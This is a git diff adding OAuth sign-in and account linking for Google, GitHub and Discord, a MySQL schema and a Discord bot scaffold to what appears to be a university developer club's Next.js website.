+ avatar: z.string().nullish(),
+});
+
+/**
+ * Retrieves access tokens and profile data from the Discord API using the authorization code and links it to a user. They will also be added to the DevDogs Discord guild.
+ * @param authorizationCode The authorization code obtained via OAuth
+ * @param redirectUri The same `redirectUri` used in the authorization request
+ * @param publicProfile The profile of the user to link the Discord profile to (we use their preferred `name` to set their Discord nickname)
+ * @see `requestAuthorization(...)`
+ */
+export async function linkProfile(
+ authorizationCode: string,
+ redirectUri: string,
+ publicProfile: typeof publicProfiles.$inferSelect,
+) {
+ // Retrieve access/refresh tokens
+ const tokens = await fetch("https://discord.com/api/oauth2/token", {
+ method: "POST",
+ headers: {
+ Accept: "application/json",
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: new URLSearchParams({
+ client_id: env.DISCORD_CLIENT_ID,
+ client_secret: env.DISCORD_CLIENT_SECRET,
+ code: authorizationCode,
+ redirect_uri: redirectUri,
+ grant_type: "authorization_code",
+ }).toString(),
+ })
+ .then((res) => res.json())
+ .then((obj) => tokenResultSchema.parseAsync(obj));
+
+ // Get Discord profile data
+ const profile = await fetch("https://discord.com/api/users/@me", {
+ headers: { Authorization: "Bearer " + tokens.accessToken },
+ })
+ .then((res) => res.json())
+ .then((obj) => profileSchema.parseAsync(obj));
+
+ // Add Discord user to DevDogs Guild
+ await fetch(
+ `https://discord.com/api/guilds/${env.DISCORD_GUILD_ID}/members/${profile.id}`,
+ {
+ method: "PUT",
+ headers: {
+ Accept: "application/json",
+ Authorization: `Bot ${env.DISCORD_TOKEN}`,
+ "Content-Type": "application/json",
+ },
+ body: JSON.stringify({
+ access_token: tokens.accessToken,
+ nick: publicProfile.name,
+ roles: [],
+ }),
+ },
+ );
+
+ // Insert Discord profile and access tokens, and link to user
+ await db.transaction(async (tx) => {
+ const [insertedRow] = await tx
+ .insert(SERVER_ONLY_DO_NOT_LEAK_accessTokens)
+ .values(tokens)
+ .$returningId();
+
+ if (!insertedRow) {
+ return tx.rollback();
+ }
+
+ await tx
+ .insert(discordProfiles)
+ .values({ ...profile, accessTokenId: insertedRow.id });
+
+ await tx
+ .update(users)
+ .set({ discordId: profile.id })
+ .where(eq(users.id, publicProfile.userId));
+ });
+}
+
+/**
+ * Unlinks a Discord profile from a user and removes them from the DevDogs guild
+ * @param discordId The target Discord user ID
+ */
+export async function unlinkProfile(discordId: string) {
+ // Remove Discord user from DevDogs Guild (TODO: this isn't working; we need to fix the permissions in Discord)
+ const result = await fetch(
+ `https://discord.com/api/guilds/${env.DISCORD_GUILD_ID}/members/${discordId}`,
+ {
+ method: "DELETE",
+ headers: {
+ Authorization: `Bot ${env.DISCORD_TOKEN}`,
+ "X-Audit-Log-Reason": "Unlinked Discord account on devdogsuga.org",
+ },
+ },
+ );
+
+ // Debug:
+ console.log(result);
+
+ // Remove Discord profile from database (because of cascade rules, this sets the `discordId` column on the user to `NULL` automatically)
+ await db.delete(discordProfiles).where(eq(discordProfiles.id, discordId));
+}
diff --git a/src/server/auth/providers/github.ts b/src/server/auth/providers/github.ts
new file mode 100644
index 0000000..b349aa6
--- /dev/null
+++ b/src/server/auth/providers/github.ts
@@ -0,0 +1,161 @@
+import { eq, sql } from "drizzle-orm";
+import { redirect } from "next/navigation";
+import z from "zod";
+import { env } from "~/env";
+import { db } from "~/server/db";
+import {
+ githubProfiles,
+ SERVER_ONLY_DO_NOT_LEAK_accessTokens,
+ users,
+} from "~/server/db/schema/tables";
+import { tokenResultSchema } from "../schema";
+
+/**
+ * Redirects the user to the consent page. If successful, they will be returned to the redirect with an authorization code in the URL search parameters.
+ * @param stateToken Used to track state and prevent CSRF attacks; this token will be present in the URL search parameters with the authorization code.
+ * @param redirectUri Where to navigate the user with the authorization code after consent is obtained
+ */
+export function requestAuthorization(
+ stateToken: string,
+ redirectUri: string,
+): never {
+ redirect(
+ "https://github.com/login/oauth/authorize?" +
+ new URLSearchParams({
+ state: stateToken,
+ redirect_uri: redirectUri,
+ response_type: "code",
+ client_id: env.GITHUB_CLIENT_ID,
+ scope: "write:org user:email",
+ }).toString(),
+ );
+}
+
+const profileSchema = z.object({
+ id: z.int(),
+ login: z.string(),
+ avatar_url: z.string(),
+});
+
+/**
+ * Retrieves access tokens and profile data from the GitHub API using the authorization code and links it to a user. They will also be added as a contributor to the DevDogs GitHub organization.
+ * @param authorizationCode The authorization code obtained via OAuth
+ * @param redirectUri The same `redirectUri` used in the authorization request
+ * @param userId The ID of the user to associate this profile with
+ * @see `requestAuthorization(...)`
+ */
+export async function linkProfile(
+ authorizationCode: string,
+ redirectUri: string,
+ userId: string,
+) {
+ // Retrieve access/refresh tokens
+ const tokens = await fetch("https://github.com/login/oauth/access_token", {
+ method: "POST",
+ headers: {
+ Accept: "application/json",
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: new URLSearchParams({
+ client_id: env.GITHUB_CLIENT_ID,
+ client_secret: env.GITHUB_CLIENT_SECRET,
+ code: authorizationCode,
+ redirect_uri: redirectUri,
+ grant_type: "authorization_code",
+ }).toString(),
+ })
+ .then((res) => res.json())
+ .then((obj) => tokenResultSchema.parseAsync(obj));
+
+ // Get GitHub profile data
+ const profile = await fetch("https://api.github.com/user", {
+ headers: {
+ Authorization: "Bearer " + tokens.accessToken,
+ "X-GitHub-Api-Version": "2022-11-28",
+ },
+ })
+ .then((res) => res.json())
+ .then((obj) => profileSchema.parseAsync(obj));
+
+ // Invite GitHub user as a contributor to the DevDogs organization (TODO: add team IDs)
+ await fetch(`https://api.github.com/orgs/${env.GITHUB_ORG}/invitations`, {
+ method: "POST",
+ headers: {
+ Authorization: "Bearer " + env.GITHUB_TOKEN,
+ Accept: "application/vnd.github+json",
+ "X-GitHub-Api-Version": "2022-11-28",
+ },
+ body: JSON.stringify({
+ invitee_id: profile.id,
+ role: "direct_member",
+ team_ids: [14192632],
+ }),
+ })
+ .then((res) => res.json())
+ .then(console.log)
+ .catch(console.error);
+
+ // Accept organization invitation on behalf of the user
+ await fetch(
+ "https://api.github.com/user/memberships/orgs/" + env.GITHUB_ORG,
+ {
+ method: "PATCH",
+ headers: {
+ Authorization: "Bearer " + tokens.accessToken,
+ Accept: "application/vnd.github+json",
+ "X-GitHub-Api-Version": "2022-11-28",
+ },
+ body: JSON.stringify({ state: "active" }),
+ },
+ )
+ .then((res) => res.json())
+ .then(console.log)
+ .catch(console.error);
+
+ // Insert GitHub profile and access tokens and link to user
+ await db.transaction(async (tx) => {
+ const [insertedRow] = await tx
+ .insert(SERVER_ONLY_DO_NOT_LEAK_accessTokens)
+ .values(tokens)
+ .$returningId();
+
+ if (!insertedRow) {
+ return tx.rollback();
+ }
+
+ await tx
+ .insert(githubProfiles)
+ .values({ ...profile, accessTokenId: insertedRow.id })
+ .onDuplicateKeyUpdate({
+ set: {
+ accessTokenId: sql`values(${githubProfiles.accessTokenId})`,
+ },
+ });
+
+ await tx
+ .update(users)
+ .set({ githubId: profile.id })
+ .where(eq(users.id, userId));
+ });
+}
+
+/**
+ * Unlinks a GitHub profile from a user and removes them from the DevDogs organization
+ * @param githubLogin The target GitHub user login (not ID)
+ */
+export async function unlinkProfile(githubLogin: string) {
+ // Remove GitHub user from the DevDogs organization
+ await fetch(
+ `https://api.github.com/orgs/${env.GITHUB_ORG}/memberships/${githubLogin}`,
+ {
+ method: "DELETE",
+ headers: {
+ Authorization: "Bearer " + env.GITHUB_TOKEN,
+ "X-GitHub-Api-Version": "2022-11-28",
+ },
+ },
+ );
+
+ // Remove Discord profile from database (because of cascade rules, this sets the `discordId` column on the user to `NULL` automatically)
+ await db.delete(githubProfiles).where(eq(githubProfiles.login, githubLogin));
+}
diff --git a/src/server/auth/providers/google.ts b/src/server/auth/providers/google.ts
new file mode 100644
index 0000000..33e456b
--- /dev/null
+++ b/src/server/auth/providers/google.ts
@@ -0,0 +1,137 @@
+import { redirect } from "next/navigation";
+import z from "zod";
+import { env } from "~/env";
+import { db } from "~/server/db";
+import { publicProfiles, sessions, users } from "~/server/db/schema/tables";
+import { tokenResultSchema } from "../schema";
+
+/**
+ * Redirects the user to the consent page. If successful, they will be returned to the redirect with an authorization code in the URL search parameters.
+ * @param stateToken Used to track state and prevent CSRF attacks; this token will be present in the URL search parameters with the authorization code.
+ * @param redirectUri Where to navigate the user with the authorization code after consent is obtained
+ */
+export function requestAuthorization(
+ stateToken: string,
+ redirectUri: string,
+): never {
+ redirect(
+ "https://accounts.google.com/o/oauth2/v2/auth?" +
+ new URLSearchParams({
+ state: stateToken,
+ redirect_uri: redirectUri,
+ client_id: env.GOOGLE_CLIENT_ID,
+ response_type: "code",
+ scope:
+ "https://www.googleapis.com/auth/userinfo.profile https://www.googleapis.com/auth/userinfo.email",
+ access_type: "online",
+ include_granted_scopes: "true",
+ hd: "uga.edu",
+ }).toString(),
+ );
+}
+
+const profileSchema = z
+ .object({
+ email: z.string(),
+ name: z.string(),
+ picture: z.string().nullish(),
+ })
+ .transform((obj) => ({
+ ugaMyId: obj.email.split("@")[0]!,
+ legalName: obj.name,
+ }));
+
+/**
+ * Retrieves access tokens and profile data from the Google API using the authorization code and creates a new session. Creates a new user and public profile if they don't exist yet.
+ * @param authorizationCode The authorization code obtained via OAuth
+ * @param redirectUri The same `redirectUri` used in the authorization request
+ * @param userAgent The user-agent (browser/device identifier) to associate with this session
+ * @return The newly created session token
+ * @see `requestAuthorization(...)`
+ */
+export async function createSession(
+ authorizationCode: string,
+ redirectUri: string,
+ userAgent: string | null,
+) {
+ // Retrieve access token
+ const { accessToken } = await fetch("https://oauth2.googleapis.com/token", {
+ method: "POST",
+ headers: {
+ Accept: "application/json",
+ "Content-Type": "application/x-www-form-urlencoded",
+ },
+ body: new URLSearchParams({
+ client_id: env.GOOGLE_CLIENT_ID,
+ client_secret: env.GOOGLE_CLIENT_SECRET,
+ code: authorizationCode,
+ redirect_uri: redirectUri,
+ grant_type: "authorization_code",
+ }).toString(),
+ })
+ .then((res) => res.json())
+ .then((obj) => tokenResultSchema.parseAsync(obj));
+
+ // Retrieve user profile data using access token
+ const profile = await fetch(
+ "https://www.googleapis.com/oauth2/v1/userinfo?alt=json",
+ {
+ headers: {
+ authorization: "Bearer " + accessToken,
+ },
+ },
+ )
+ .then((res) => res.json())
+ .then((obj) => profileSchema.parseAsync(obj));
+
+ // Create the session (use a transaction to ensure the entire operation succeeds or fails together)
+ return await db.transaction(async (tx) => {
+ // Find or create the user (and the corresponding public profile)
+ const userId = await tx.transaction(async (tx2) => {
+ const existingUser = await tx2.query.users.findFirst({
+ where: {
+ ugaMyId: {
+ eq: profile.ugaMyId,
+ },
+ },
+ columns: { id: true },
+ });
+
+ if (existingUser) {
+ return existingUser.id;
+ }
+
+ // The user does not already exist: insert them
+ const [insertedUser] = await tx2
+ .insert(users)
+ .values(profile)
+ .$returningId();
+
+ if (!insertedUser) {
+ return tx2.rollback();
+ }
+
+ await tx2.insert(publicProfiles).values({
+ userId: insertedUser.id,
+ name: profile.legalName.split(" ")[0] ?? "",
+ });
+
+ return insertedUser.id;
+ });
+
+ // Create the session once we have the user ID
+ const [insertedSession] = await tx
+ .insert(sessions)
+ .values({
+ userId,
+ userAgent,
+ })
+ .$returningId();
+
+ if (!insertedSession) {
+ return tx.rollback();
+ }
+
+ return insertedSession.token;
+ });
+}
diff --git a/src/server/auth/schema.ts b/src/server/auth/schema.ts
new file mode 100644
index 0000000..67d9053
--- /dev/null
+++ b/src/server/auth/schema.ts
@@ -0,0 +1,80 @@
+import * as z from "zod";
+import { db } from "../db";
+import { addSeconds } from "date-fns";
+import { oauthStates } from "../db/schema/tables";
+import { eq } from "drizzle-orm";
+import { env } from "~/env";
+
+const authorizationCode = z.object({
+ code: z.string(),
+ state: z
+ .string()
+ .transform(
+ async (stateToken) =>
+ await db.transaction(async (tx) => {
+ const state = await tx.query.oauthStates.findFirst({
+ where: {
+ token: {
+ eq: stateToken,
+ },
+ },
+ });
+
+ await tx.delete(oauthStates).where(eq(oauthStates.token, stateToken));
+
+ return state;
+ }),
+ )
+ .nonoptional(),
+});
+
+const completeOAuthFlow = z.object({
+ authorization: z
+ .string()
+ .transform(
+ async (authorizationCode) =>
+ await db.query.authorizationCodes.findFirst({
+ where: { code: { eq: authorizationCode } },
+ }),
+ )
+ .nonoptional(),
+});
+
+const beginOAuthFlow = z.union([
+ z.object({
+ redirect_uri: z.url({
+ // Only accept internal/private/local IP addresses
+ hostname:
+ /(^localhost$)|(^0\.0\.0\.0$)|(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])/i,
+ }),
+ client_id: z.string(),
+ state: z.string().optional(),
+ }),
+ z.object({
+ redirect_uri: z.url({
+ hostname: /devdogsuga.org$/i,
+ }),
+ client_id: z.literal(env.SHARED_AUTH_CLIENT_ID!),
+ state: z.string().optional(),
+ }),
+]);
+
+export const searchParamsSchema = z
+ .instanceof(URLSearchParams)
+ .transform((sp) => Object.fromEntries(sp.entries()))
+ .pipe(z.union([authorizationCode, beginOAuthFlow, completeOAuthFlow]));
+
+export const tokenResultSchema = z
+ .object({
+ access_token: z.string(),
+ token_type: z.string().toLowerCase().pipe(z.literal("bearer")),
+ expires_in: z.number().optional(),
+ refresh_token: z.string().optional(),
+ })
+ .transform((obj) => ({
+ accessToken: obj.access_token,
+ accessTokenExpires: obj.expires_in
+ ? addSeconds(Date.now(), obj.expires_in)
+ : undefined,
+ refreshToken: obj.refresh_token,
+ }));
diff --git a/src/server/db/index.ts b/src/server/db/index.ts
new file mode 100644
index 0000000..bd99337
--- /dev/null
+++ b/src/server/db/index.ts
@@ -0,0 +1,30 @@
+import { drizzle } from "drizzle-orm/mysql2";
+import { createPool, type Pool } from "mysql2/promise";
+import { env } from "~/env";
+import { schema, relations } from "./schema";
+
+async function getDB() {
+ const globalForDb = globalThis as unknown as {
+ pool: Pool | undefined;
+ };
+
+ const client =
+ globalForDb.pool ??
+ createPool({
+ host: env.MYSQL_HOST,
+ user: env.MYSQL_USER,
+ password: env.MYSQL_PASSWORD,
+ port: env.MYSQL_PORT,
+ database: env.MYSQL_DATABASE,
+ });
+
+ const db = drizzle({ client, schema, relations, mode: "default" });
+
+ if (env.NODE_ENV !== "production") {
+ globalForDb.pool = client;
+ }
+
+ return db;
+}
+
+export const db = await getDB();
diff --git a/src/server/db/schema/index.ts b/src/server/db/schema/index.ts
new file mode 100644
index 0000000..68d7b03
--- /dev/null
+++ b/src/server/db/schema/index.ts
@@ -0,0 +1,2 @@
+export * as schema from "./tables";
+export { default as relations } from "./relations";
diff --git a/src/server/db/schema/relations.ts b/src/server/db/schema/relations.ts
new file mode 100644
index 0000000..2b23898
--- /dev/null
+++ b/src/server/db/schema/relations.ts
@@ -0,0 +1,94 @@
+import { defineRelations } from "drizzle-orm";
+import * as tables from "./tables";
+
+const relations = defineRelations(tables, (r) => ({
+ users: {
+ publicProfile: r.one.publicProfiles({
+ from: r.users.id,
+ to: r.publicProfiles.userId,
+ optional: false,
+ }),
+ github: r.one.githubProfiles({
+ from: r.users.githubId,
+ to: r.githubProfiles.id,
+ }),
+ discord: r.one.discordProfiles({
+ from: r.users.discordId,
+ to: r.discordProfiles.id,
+ }),
+ oauthKey: r.one.oauthKeys({
+ from: r.users.id,
+ to: r.oauthKeys.clientId,
+ }),
+ },
+ sessions: {
+ user: r.one.users({
+ from: r.sessions.userId,
+ to: r.users.id,
+ optional: false,
+ }),
+ publicProfile: r.one.publicProfiles({
+ from: r.sessions.userId,
+ to: r.publicProfiles.userId,
+ optional: false,
+ }),
+ oauthKey: r.one.oauthKeys({
+ from: r.sessions.userId,
+ to: r.oauthKeys.userId,
+ }),
+ },
+ oauthKeys: {
+ client: r.one.users({
+ from: r.oauthKeys.clientId,
+ to: r.users.id,
+ }),
+ },
+ publicProfiles: {
+ user: r.one.users({
+ from: r.publicProfiles.userId,
+ to: r.users.id,
+ optional: false,
+ }),
+ },
+ githubProfiles: {
+ user: r.one.users({
+ from: r.githubProfiles.id,
+ to: r.users.discordId,
+ }),
+ SERVER_ONLY_DO_NOT_LEAK_authorization:
+ r.one.SERVER_ONLY_DO_NOT_LEAK_accessTokens({
+ from: r.githubProfiles.accessTokenId,
+ to: r.SERVER_ONLY_DO_NOT_LEAK_accessTokens.id,
+ optional: false,
+ }),
+ points: r.many.points({
+ from: r.githubProfiles.id,
+ to: r.points.githubProfileId,
+ }),
+ },
+ discordProfiles: {
+ user: r.one.users({
+ from: r.discordProfiles.id,
+ to: r.users.discordId,
+ optional: false,
+ }),
+ SERVER_ONLY_DO_NOT_LEAK_authorization:
+ r.one.SERVER_ONLY_DO_NOT_LEAK_accessTokens({
+ from: r.discordProfiles.accessTokenId,
+ to: r.SERVER_ONLY_DO_NOT_LEAK_accessTokens.id,
+ optional: false,
+ }),
+ },
+ authorizationCodes: {
+ client: r.one.oauthKeys({
+ from: r.authorizationCodes.clientId,
+ to: r.oauthKeys.clientId,
+ }),
+ user: r.one.users({
+ from: r.authorizationCodes.userId,
+ to: r.users.id,
+ }),
+ },
+}));
+
+export default relations;
diff --git a/src/server/db/schema/tables.ts b/src/server/db/schema/tables.ts
new file mode 100644
index 0000000..3662fa0
--- /dev/null
+++ b/src/server/db/schema/tables.ts
@@ -0,0 +1,184 @@
+import { createId } from "@paralleldrive/cuid2";
+import { sql, type SQL } from "drizzle-orm";
+import { primaryKey } from "drizzle-orm/mysql-core";
+import {
+ mysqlTable,
+ uniqueIndex,
+ type AnyMySqlColumn,
+} from "drizzle-orm/mysql-core";
+import { generateSecureString } from "~/server/utilts";
+
+function lower(email: AnyMySqlColumn): SQL {
+ return sql`(lower(${email}))`;
+}
+
+export const SERVER_ONLY_DO_NOT_LEAK_accessTokens = mysqlTable(
+ "access_token",
+ (d) => ({
+ id: d.varchar({ length: 255 }).primaryKey().$defaultFn(createId),
+ accessToken: d.text().notNull(),
+ accessTokenExpires: d.timestamp(),
+ refreshToken: d.text(),
+ }),
+);
+
+export const authorizationCodes = mysqlTable("authorization_code", (d) => ({
+ code: d
+ .varchar({ length: 255 })
+ .primaryKey()
+ .$defaultFn(() => generateSecureString(128)),
+ clientId: d.varchar({ length: 255 }).references(() => oauthKeys.clientId, {
+ onDelete: "set null",
+ onUpdate: "cascade",
+ }),
+ redirectUri: d.text().notNull(),
+ state: d.text(),
+ userId: d
+ .varchar({ length: 255 })
+ .references(() => users.id, { onDelete: "set null", onUpdate: "cascade" }),
+ createdAt: d.timestamp().defaultNow().notNull(),
+}));
+
+export const oauthKeys = mysqlTable("oauth_key", (d) => ({
+ userId: d
+ .varchar({ length: 255 })
+ .primaryKey()
+ .references(() => users.id, { onDelete: "cascade", onUpdate: "cascade" }),
+ clientId: d
+ .varchar({ length: 255 })
+ .$defaultFn(() => generateSecureString(128))
+ .notNull()
+ .unique(),
+ clientSecret: d.varchar({ length: 255 }).notNull().unique(),
+ lastUpdated: d
+ .timestamp()
+ .notNull()
+ .$defaultFn(() => new Date())
+ .onUpdateNow(),
+}));
+
+export const users = mysqlTable("user", (d) => ({
+ id: d.varchar({ length: 255 }).primaryKey().$defaultFn(createId),
+ ugaMyId: d.varchar({ length: 255 }).notNull(),
+ legalName: d.varchar({ length: 255 }).notNull(),
+ viewedSettings: d.boolean().notNull().default(false),
+ createdAt: d.timestamp().defaultNow().notNull(),
+ githubId: d.int().references(() => githubProfiles.id, {
+ onDelete: "set null",
+ onUpdate: "cascade",
+ }),
+ discordId: d.varchar({ length: 255 }).references(() => discordProfiles.id, {
+ onDelete: "set null",
+ onUpdate: "cascade",
+ }),
+}));
+
+export const publicProfiles = mysqlTable("public_profile", (d) => ({
+ userId: d
+ .varchar({ length: 255 })
+ .primaryKey()
+ .references(() => users.id, { onDelete: "cascade", onUpdate: "cascade" }),
+ name: d.varchar({ length: 255 }).notNull(),
+ email: d.varchar({ length: 255 }),
+ image: d.text(),
+ githubUsername: d.varchar({ length: 255 }),
+ discordUsername: d.varchar({ length: 255 }),
+ linkedinUsername: d.varchar({ length: 255 }),
+ instagramUsername: d.varchar({ length: 255 }),
+ portfolioUrl: d.text(),
+}));
+
+export const githubProfiles = mysqlTable(
+ "github_profile",
+ (d) => ({
+ id: d.int().primaryKey(),
+ login: d.varchar({ length: 255 }).unique().notNull(),
+ avatarUrl: d.text(),
+ allTimePoints: d.int().notNull().default(0),
+ allTimeRanking: d.int(),
+ currentYearPoints: d.int().notNull().default(0),
+ currentYearRanking: d.int(),
+ accessTokenId: d
+ .varchar({ length: 255 })
+ .references(() => SERVER_ONLY_DO_NOT_LEAK_accessTokens.id, {
+ onUpdate: "cascade",
+ onDelete: "set null",
+ }),
+ }),
+ (t) => [uniqueIndex("login_idx").on(lower(t.login))],
+);
+
+export const points = mysqlTable(
+ "points",
+ (d) => ({
+ githubProfileId: d
+ .int()
+ .notNull()
+ .references(() => githubProfiles.id, {
+ onDelete: "cascade",
+ onUpdate: "cascade",
+ }),
+ year: d.int().notNull(),
+ streakStart: d
+ .date()
+ .notNull()
+ .$defaultFn(() => new Date()),
+ streakLength: d.int().notNull().default(0),
+ longestStreakLength: d.int().notNull().default(0),
+ projectPoints: d.int().notNull().default(0),
+ streakBonusPoints: d.int().notNull().default(0),
+ academyPoints: d.int().notNull().default(0),
+ points: d
+ .int()
+ .notNull()
+ .generatedAlwaysAs(
+ (): SQL =>
+ sql`${points.projectPoints} + ${points.streakBonusPoints} + ${points.academyPoints}`,
+ { mode: "stored" },
+ ),
+ }),
+ (t) => [primaryKey({ columns: [t.githubProfileId, t.year] })],
+);
+
+export const discordProfiles = mysqlTable(
+ "discord_profile",
+ (d) => ({
+ id: d.varchar({ length: 255 }).primaryKey(),
+ username: d.varchar({ length: 255 }).notNull(),
+ avatar: d.varchar({ length: 255 }),
+ accessTokenId: d
+ .varchar({ length: 255 })
+ .references(() => SERVER_ONLY_DO_NOT_LEAK_accessTokens.id, {
+ onUpdate: "cascade",
+ onDelete: "set null",
+ }),
+ }),
+ (t) => [uniqueIndex("username_idx").on(lower(t.username))],
+);
+
+export const sessions = mysqlTable("session", (d) => ({
+ token: d
+ .varchar({ length: 255 })
+ .primaryKey()
+ .$defaultFn(() =>
+ Buffer.from(crypto.getRandomValues(new Uint8Array(128))).toString(
+ "base64",
+ ),
+ ),
+ userAgent: d.text(),
+ userId: d
+ .varchar({ length: 255 })
+ .notNull()
+ .references(() => users.id, { onDelete: "cascade", onUpdate: "cascade" }),
+ createdAt: d.timestamp().defaultNow().notNull(),
+}));
+
+export const oauthStates = mysqlTable("oauth_state", (d) => ({
+ token: d
+ .varchar({ length: 255 })
+ .primaryKey()
+ .$defaultFn(() => generateSecureString(128)),
+ provider: d.mysqlEnum(["google", "discord", "github"]).notNull(),
+ callbackPath: d.text().notNull().default("/"),
+ createdAt: d.timestamp().defaultNow().notNull(),
+}));
diff --git a/src/server/discord/api.ts b/src/server/discord/api.ts
new file mode 100644
index 0000000..f1c1778
--- /dev/null
+++ b/src/server/discord/api.ts
@@ -0,0 +1,20 @@
+import { REST } from "@discordjs/rest";
+import { env } from "~/env";
+
+/**
+ * @param accessToken The access token for the user.
+ * @returns A discord.js REST API instance authenticated as a specific user.
+ */
+export function asUser(accessToken: string) {
+ return new REST({
+ authPrefix: "Bearer",
+ version: "10",
+ }).setToken(accessToken);
+}
+
+/**
+ * @returns A discord.js REST API instance authenticated as the RoboDog Discord bot.
+ */
+export function asBot() {
+ return new REST({ version: "10" }).setToken(env.DISCORD_TOKEN);
+}
diff --git a/src/server/discord/commands/leaderboard.ts b/src/server/discord/commands/leaderboard.ts
new file mode 100644
index 0000000..6bbf10d
--- /dev/null
+++ b/src/server/discord/commands/leaderboard.ts
@@ -0,0 +1,114 @@
+// export const leaderboard = Command({
+// registration: {
+// name: "leaderboard",
+// description: "View the current state of the leaderboard!",
+// type: ApplicationCommandType.ChatInput,
+// options: [
+// {
+// name: "year",
+// description: "Get points from a specific year",
+// type: ApplicationCommandOptionType.String,
+// choices: [
+// {
+// name: "All Time",
+// value: "all",
+// },
+// {
+// name: "2025-2026 (This Year)",
+// value: "2025",
+// },
+// {
+// name: "2024-2025 (Last Year)",
+// value: "2024",
+// },
+// {
+// name: "2023-2024",
+// value: "2023",
+// },
+// ],
+// },
+// ],
+// },
+// dataValidator: z.object({
+// id: z.string(),
+// name: z.literal("leaderboard"),
+// type: z.literal(ApplicationCommandType.ChatInput),
+// resolved: z.unknown().optional(),
+// options: z
+// .union([
+// z.object({
+// name: z.literal("year"),
+// type: z.literal(ApplicationCommandOptionType.String),
+// value: z.literal(["all", "2025", "2024", "2023"]),
+// }),
+// ])
+// .array()
+// .optional(),
+// guild_id: z.unknown().optional(),
+// target_id: z.unknown().optional(),
+// }),
+// async onInteract(data) {
+// const year = data?.options?.find((option) => option.name === "year")?.value;
+
+// const targetPoints = (
+// year
+// ? year === "all"
+// ? sql`${githubProfiles.pointsAY2023} + ${githubProfiles.pointsAY2024} + ${githubProfiles.pointsAY2025}`
+// : sql`${githubProfiles[`pointsAY${year}`]}`
+// : sql`${githubProfiles.pointsAY2025}`
+// ).as("targetPoints");
+
+// const profiles = await db.query.githubProfiles.findMany({
+// columns: {
+// login: true,
+// avatarUrl: true,
+// },
+// extras: {
+// targetPoints,
+// },
+
+// orderBy: desc(targetPoints),
+// with: {
+// user: {
+// columns: {},
+// with: {
+// discord: {
+// columns: {
+// id: true,
+// },
+// },
+// },
+// },
+// },
+// limit: 5,
+// });
+
+// return {
+// type: InteractionResponseType.ChannelMessageWithSource,
+// data: {
+// flags: MessageFlags.Ephemeral | MessageFlags.IsComponentsV2,
+// components: [
+// new TextDisplayBuilder({
+// content: "\n# Leaderboard\n",
+// }).toJSON(),
+// ...profiles.map((profile, i) =>
+// new SectionBuilder({
+// components: [
+// new TextDisplayBuilder({
+// content: `## ${i + 1}. [${profile.login}](https://github.com/${profile.login}) \n**${Math.round(profile.targetPoints)} points** ${profile.user?.discord ? `\n(<@${profile.user.discord.id}>)` : ""}`,
+// }).toJSON(),
+// ],
+// accessory: new ThumbnailBuilder({
+// media: profile.avatarUrl
+// ? {
+// url: profile.avatarUrl,
+// }
+// : undefined,
+// }).toJSON(),
+// }).toJSON(),
+// ),
+// ],
+// },
+// };
+// },
+// });
diff --git a/src/server/discord/index.ts b/src/server/discord/index.ts
new file mode 100644
index 0000000..53a3d75
--- /dev/null
+++ b/src/server/discord/index.ts
@@ -0,0 +1,96 @@
+import {
+ type APIInteractionResponseChannelMessageWithSource,
+ type RESTPostAPIApplicationCommandsJSONBody,
+} from "discord-api-types/v10";
+import type * as z from "zod";
+// import { leaderboard } from "./commands/leaderboard";
+
+interface Command {
+ registration: RESTPostAPIApplicationCommandsJSONBody;
+ dataValidator: T;
+ onInteract: (
+ data: z.infer,
+ ) => Promise;
+}
+
+export function Command(command: Command) {
+ return command;
+}
+
+// const commands = [leaderboard] satisfies ReturnType[];
+
+/**
+ * Registers all commands defined above in `commands`.
+ */
+// export async function registerCommands() {
+// const response = await fetch(
+// `https://discord.com/api/v10/applications/${env.DISCORD_CLIENT_ID}/commands`,
+// {
+// headers: {
+// "Content-Type": "application/json",
+// Authorization: `Bot ${env.DISCORD_TOKEN}`,
+// },
+// method: "PUT",
+// body: JSON.stringify(
+// Object.values(commands).map(({ registration }) => registration),
+// ),
+// },
+// );
+
+// if (response.ok) {
+// console.log("Registered all commands");
+// } else {
+// console.error("Error registering commands");
+// const text = await response.text();
+// console.error(text);
+// }
+// }
+
+/**
+ * A Next.js `POST` route handler.
+ * @param request The incoming request object.
+ * @returns The appropriate interaction response, considering all registered commands.
+ */
+// export async function handleInteractionRequest(request: NextRequest) {
+// const signature = request.headers.get("x-signature-ed25519");
+// const timestamp = request.headers.get("x-signature-timestamp");
+// const rawBody = await request.clone().arrayBuffer();
+
+// if (!signature || !timestamp) {
+// return new NextResponse(null, { status: 401 });
+// }
+
+// const isValidRequest = await verifyKey(
+// rawBody,
+// signature,
+// timestamp,
+// env.DISCORD_PUBLIC_KEY,
+// ).catch(() => false);
+
+// if (!isValidRequest) {
+// return new NextResponse("Invalid request signature.", { status: 401 });
+// }
+
+// const message = (await request.json()) as APIBaseInteraction<
+// InteractionType,
+// unknown
+// >;
+
+// if (message.type === InteractionType.Ping) {
+// return NextResponse.json({
+// type: InteractionResponseType.Pong,
+// });
+// }
+
+// return await Promise.any(
+// Object.values(commands).map((command) =>
+// command.dataValidator
+// .parseAsync(message.data)
+// .then(command.onInteract)
+// .then((data) => NextResponse.json(data)),
+// ),
+// ).catch((error) => {
+// console.error((error as AggregateError).errors);
+// return new NextResponse("Unknown interaction.", { status: 400 });
+// });
+// }
diff --git a/src/server/github/queries/ClosedIssues.gql b/src/server/github/queries/ClosedIssues.gql
new file mode 100644
index 0000000..e9a6ae1
--- /dev/null
+++ b/src/server/github/queries/ClosedIssues.gql
@@ -0,0 +1,44 @@
+query ClosedIssues($searchQuery: String!, $cursor: String) {
+ search(query: $searchQuery, type: ISSUE, first: 100, after: $cursor) {
+ pageInfo {
+ hasNextPage
+ endCursor
+ }
+
+ nodes {
+ ... on Issue {
+ closedAt
+
+ assignees(first: 10) {
+ nodes {
+ databaseId
+ login
+ avatarUrl
+ }
+ }
+
+ projectItems(first: 1) {
+ nodes {
+ quality: fieldValueByName(name: "Quality") {
+ ... on ProjectV2ItemFieldSingleSelectValue {
+ name
+ }
+ }
+
+ priority: fieldValueByName(name: "Priority") {
+ ... on ProjectV2ItemFieldSingleSelectValue {
+ name
+ }
+ }
+
+ complexity: fieldValueByName(name: "Complexity") {
+ ... on ProjectV2ItemFieldSingleSelectValue {
+ name
+ }
+ }
+ }
+ }
+ }
+ }
+ }
+}
